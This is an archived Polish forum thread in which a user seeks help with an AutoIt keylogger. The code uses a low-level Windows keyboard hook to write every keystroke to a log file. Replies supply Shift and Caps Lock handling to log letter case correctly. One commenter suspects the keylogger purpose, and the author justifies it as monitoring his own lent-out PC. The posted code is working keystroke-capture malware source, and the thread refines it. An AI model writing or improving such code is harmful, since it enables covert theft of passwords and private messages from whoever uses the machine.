Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

Rozpoznawanie znaków...


Rekomendowane odpowiedzi

Opublikowano

Witam. Mam następujący problem otóż gdy korzystam z WinApi aby skorzystać ze rozpoznawania znaków ASCII z przedziału 0-255 to niestety małe litery są błędne rozpoznawane jako duże, wie ktoś co może być przyczyną? Sprawdzałem dokładnie na zasadzie

If (($klik >0) And ($klik < 255)) Then
            FileWrite($Plik,($klik))

I niestety w momencie wpisania małej litery kod ASCII twierdzi że została wpisana duża. Za pomoc + i 5 oczywiście.

"Politycy wszędzie są tacy sami. Obiecują zbudować most nawet tam, gdzie nie ma rzeki."

Opublikowano
if (shiftKey)
    std::cout << keyCode; // upper case
else
    std::cout << keyCode + 32; // lower case

Mniej więcej tak to wygląda u mnie ;)

Opublikowano

Szanowni Panowie, nie zrozumieliśmy się, cały problem polega na tym że nawet gdy wpiszę tak:

 

    If (($keycode > 64) And ($keycode < 91)) _ 
            Or (($keycode > 96) And ($keycode < 123)) _ 
            Or (($keycode > 47) And ($keycode < 58)) Then 

To i tak małe litery są rozpoznawane w Autoit jako duże, dla przykładu kiedy wpisuję a (co powinno być rozpoznane jako Chr(97) to w pliku jest to zapisywane jako A ( Chr(65) ) I właśnie ten problem chcę rozwiązać. Dziękuję za zainteresowanie tematem i liczę na dalszą pomoc.

"Politycy wszędzie są tacy sami. Obiecują zbudować most nawet tam, gdzie nie ma rzeki."

Opublikowano
Opublikowano

Szanowni Panowie, nie zrozumieliśmy się, cały problem polega na tym że nawet gdy wpiszę tak:

    If (($keycode > 64) And ($keycode < 91)) _ 
            Or (($keycode > 96) And ($keycode < 123)) _ 
            Or (($keycode > 47) And ($keycode < 58)) Then 

To i tak małe litery są rozpoznawane w Autoit jako duże, dla przykładu kiedy wpisuję a (co powinno być rozpoznane jako Chr(97) to w pliku jest to zapisywane jako A ( Chr(65) ) I właśnie ten problem chcę rozwiązać. Dziękuję za zainteresowanie tematem i liczę na dalszą pomoc.

No tak, wtedy ci zatwierdzi środkowy statment.

Używasz OR czyli wystarczy że jeden warunek zostanie spełniony to się wykona, w tym wypadku się wykona jeżeli napotka duża lub mała lub cyfre warunek zostanie spełniony.

Mi tam wszystko poprawnie wykrywa

 

keycode('a')
keycode('A')
keycode(1)


Func keycode($key)
$keycode = Asc($key)
If (($keycode > 64) And ($keycode < 91)) Then;duza
ConsoleWrite('duza'&@crlf)
ElseIf (($keycode > 96) And ($keycode < 123)) Then;mala
ConsoleWrite('mala'&@crlf)
ElseIf (($keycode > 47) And ($keycode < 58)) Then;number
ConsoleWrite('cyfra'&@crlf)
EndIf
EndFunc   ;==>keycode
Opublikowano

Witam ponownie, sprawdziłem tak jak mi tutaj poradzono, lecz wygląda to następująco w konsoli :

aduza
Aduza
1cyfra
aduza
Aduza

Co ciekawe klawisze z przedziału F1-F9 wykrywa jako małe litery... Dziękuję za zainteresowanie tematem i liczę na dalszą pomoc.

"Politycy wszędzie są tacy sami. Obiecują zbudować most nawet tam, gdzie nie ma rzeki."

Opublikowano
Co ciekawe klawisze z przedziału F1-F9 wykrywa jako małe litery

 

Bo klawisz a znak to dwie różne rzeczy. Oba mają różne kody. Nie można po prostu tego tak sprawdzać.

 

Mi poprawnie wypisuje dla kodu

ConsoleWrite(asc('a') & ' ' & asc('A'))

97 65

Opublikowano

Mi również poprawnie wypisuje, problem tkwi w rozpoznawaniu liter, za każdym razem kiedy wpisuje małe a rozpoznanie dzięki _WinAPI_SetWindowsHookEx wpisuje ją jako duża litera w pliku tekstowym/konsoli/czymkolwiek.

"Politycy wszędzie są tacy sami. Obiecują zbudować most nawet tam, gdzie nie ma rzeki."

Opublikowano

Jeśli nadal nie załapałeś.. bierzesz każdą literę jako małą, sprawdzasz czy jest wciśnięty shift, jeżeli tak to wtedy dopiero możesz traktować ją jako wielką literę..

Czyli tłumacząc łopatologicznie, gdy chcesz napisać wielką literę najpierw wciskasz Shift (ew. caps lock), a potem dopiero tą literkę, więc tak samo musisz postąpić w swoim "keyloggerze", sprawdzasz czy wciśnięty shift, jeżeli nie, mała literka, jeżeli jest wciśnięty mała literka - 32 w ASCII lub po AutoIT'owsku "StringUpper", czyli wielka litera.

Opublikowano

Dostajesz z tej funkcji klawisze, a klawisze nie mają rozróżnienia na małe i duże litery. Łatwiej ci będzie to ogarnąć jak sobie uświadomisz, że to co robi klawiatura nie zależy od niej, a to, że możesz używać dużych liter (tak na dobrą sprawę to każdej) jest nie dlatego, że klawiatura daje taką możliwość tylko oprogramowanie do niej/system.

Opublikowano

Szanowni Panowie, jako iż widzę iż twierdzicie że moja logika jest zła, proszę o dokładne wytknięcie mi błędu gdyż samodzielnie nie jestem w stanie go zauważyc, aczkolwiek po dobrym nakierowaniu mam nadzieję iż będę go w stanie sam naprawić, tak więc tutaj podrzucam source:

 #include <WinAPI.au3>
#include <WindowsConstants.au3>
#include <StructureConstants.au3>
 
$File = @MyDocumentsDir & "log.txt"
 
$File = FileOpen($File,9)
 
OnAutoItExitRegister("Cleanup")
 
    $hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;lparam;wparam")
    $hmod = _WinAPI_GetModuleHandle(0)
    $hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($hStub_KeyProc), $hmod)
 
 
    While 1
        Sleep(10)
    WEnd
 
 
Func EvaluateKey($keycode)
    If (($keycode > 64) And ($keycode < 91)) _ ; a - z
            Or (($keycode > 96) And ($keycode < 123)) _ ; A - Z
            Or (($keycode > 47) And ($keycode < 58)) Then ; 0 - 9
            FileWrite($File,Chr($keycode))
    EndIf
EndFunc
 
 
Func _KeyProc($nCode, $wParam, $lParam)
    Local $tKEYHOOKS
    $tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
    If $nCode < 0 Then
        Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
    EndIf
    If $wParam = $WM_KEYDOWN Then
        EvaluateKey(DllStructGetData($tKEYHOOKS, "vkCode"))
    EndIf
    Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
EndFunc
 
Func Cleanup()
    _WinAPI_UnhookWindowsHookEx($hHook)
EndFunc

Kod ten jest mi niezbędny z powodu użyczenia własnego komputera na okres czasu trzech dni, a chciałbym mieć pewność że żadne wprowadzające w błąd ludzi sprawy z tego nie będą stworzone. Nadal dziękuje za zainteresowanie tematem i liczę na dalszą pomoc, ponieważ terminy są coraz mnie bliższe.

"Politycy wszędzie są tacy sami. Obiecują zbudować most nawet tam, gdzie nie ma rzeki."

Opublikowano
#include <WinAPI.au3>
#include <WindowsConstants.au3>
#include <StructureConstants.au3>
#include <Misc.au3>
$File = @MyDocumentsDir & "log.txt"
ConsoleWrite($File)
$File = FileOpen($File, 9)


OnAutoItExitRegister("Cleanup")


$hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;lparam;wparam")
$hmod = _WinAPI_GetModuleHandle(0)
$hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($hStub_KeyProc), $hmod)




While 1
Sleep(10)
WEnd




Func keycode($key)
$keycode = $key
If (($keycode > 64) And ($keycode < 91)) Then;duza
ConsoleWrite('duza')
ElseIf (($keycode > 96) And ($keycode < 123)) Then;mala
ConsoleWrite('mala')
ElseIf (($keycode > 47) And ($keycode < 58)) Then;number
ConsoleWrite('cyfra')
EndIf
Return Chr($keycode)
EndFunc   ;==>keycode
Func _KeyProc($nCode, $wParam, $lParam)
$tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
If $nCode < 0 Then
Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
EndIf
If $wParam = $WM_KEYDOWN Then
$key = DllStructGetData($tKEYHOOKS, "vkCode")
$fCaps = _GetKeyState(0x14);
$fShift = _IsPressed('10');zmienne i nazwy funkcji mówią same za siebie

Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
EndFunc   ;==>_KeyProc
Func _GetKeyState($ivkCode)
Local $aRet
$aRet = DllCall('user32.dll', 'short', 'GetKeyState', 'int', $ivkCode)
Return BitAND($aRet[0], 1)
EndFunc   ;==>_GetKeyState
Func Cleanup()
_WinAPI_UnhookWindowsHookEx($hHook)
EndFunc   ;==>Cleanup

btw. masz błąd w ścieżce do pliku

Opublikowano

Mam nieodparte wrażenie, że piszesz tak podniosłym stylem (no przynajmniej usiłujesz) tylko dlatego, żeby nam było niby łatwiej uwierzyć, że nie chcesz keyloggera.

Opublikowano

Przepraszam za swoja nieobecność, lecz nie miałem czasu aby to wcześniej sprawdzić, co do ścieżki do pliku to dziękuje za upomnienie, ale kod który przygotowałeś nadal nie rozwiązuje mojego problemu (ale musiałem go lekko zmodyfikować gdyż inaczej nie chciał działać, więc wrzucam go tutaj, nigdy nic nie wiadomo być może coś przeoczyłem / zepsułem). 

#include <WinAPI.au3>
#include <WindowsConstants.au3>
#include <StructureConstants.au3>
#include <Misc.au3>
$File = @MyDocumentsDir &"\stop.txt"
$File = FileOpen($File, 9)
 
 
OnAutoItExitRegister("Cleanup")
 
 
$hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;lparam;wparam")
$hmod = _WinAPI_GetModuleHandle(0)
$hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($hStub_KeyProc), $hmod)
 
 
 
 
While 1
Sleep(10)
WEnd
 
 
 
 
Func keycode($key)
$keycode = $key
If (($keycode > 64) And ($keycode < 91)) Then;duza
ConsoleWrite('duza')
ElseIf (($keycode > 96) And ($keycode < 123)) Then;mala
ConsoleWrite('mala')
ElseIf (($keycode > 47) And ($keycode < 58)) Then;number
ConsoleWrite('cyfra')
Return Chr($keycode)
EndFunc   ;==>keycode
Func _KeyProc($nCode, $wParam, $lParam)
$tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
If $nCode < 0 Then
Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
EndIf
If $wParam = $WM_KEYDOWN Then
Keycode(DllStructGetData($tKEYHOOKS, "vkCode"))
$fCaps = _GetKeyState(0x14);
$fShift = _IsPressed('10');zmienne i nazwy funkcji mówią same za siebie
 
Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
EndIf
EndFunc   ;==>_KeyProc
Func _GetKeyState($ivkCode)
Local $aRet
$aRet = DllCall('user32.dll', 'short', 'GetKeyState', 'int', $ivkCode)
Return BitAND($aRet[0], 1)
EndFunc   ;==>_GetKeyState
Func Cleanup()
_WinAPI_UnhookWindowsHookEx($hHook)
EndFunc   ;==>Cleanup

A co do wypowiedzi o keyloggerze, to zwij to jak chcesz, ale ja nie sądzę aby monitorowanie własnego komputera w obcych rękach było czymś złym/nienormalnym, i piszę tak dlatego ponieważ jesteśmy na dość poważnym forum i sądzę że takim sposobem szybciej dojdziemy do porozumienia niż pisząc "Joł mam problema, weźta obczajta co sie tu dzieje bo te g*wniane małe litery nie chcą działać a ja to chce bo tak, ruchy bo czasu nie mam bo rano ide na klasówkę z przyry".

"Politycy wszędzie są tacy sami. Obiecują zbudować most nawet tam, gdzie nie ma rzeki."

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...